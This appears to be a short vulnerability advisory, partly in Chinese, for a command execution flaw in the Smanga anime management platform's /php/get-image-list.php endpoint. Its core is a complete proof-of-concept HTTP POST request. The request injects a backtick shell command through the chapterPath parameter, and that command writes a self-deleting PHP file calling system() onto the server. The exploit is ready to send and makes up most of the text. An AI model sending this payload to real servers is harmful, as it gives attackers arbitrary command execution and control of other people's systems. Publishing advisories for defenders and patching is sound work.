Smanga动漫管理平台 /php/get-image-list.php 命令执行漏洞

2026-04-30 Smanga动漫管理平台 PoC Public

Description

Smanga动漫管理平台的/php/get-image-list.php文件存在命令执行漏洞，攻击者可以通过该漏洞在服务器上执行任意命令，进一步控制服务器。

PoC

POST /php/get-image-list.php HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Accept-Encoding: gzip
Connection: close

chapterType=7z&chapterPath=`echo "<?php system('(echo+b778fbFb7f7C8CAa)');unlink(__FILE__);?>" > jhrud6438g.php`

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Smanga Anime Management Platform /php/get-image-list.php Command Execution Vulnerability

References

Related Vulnerabilities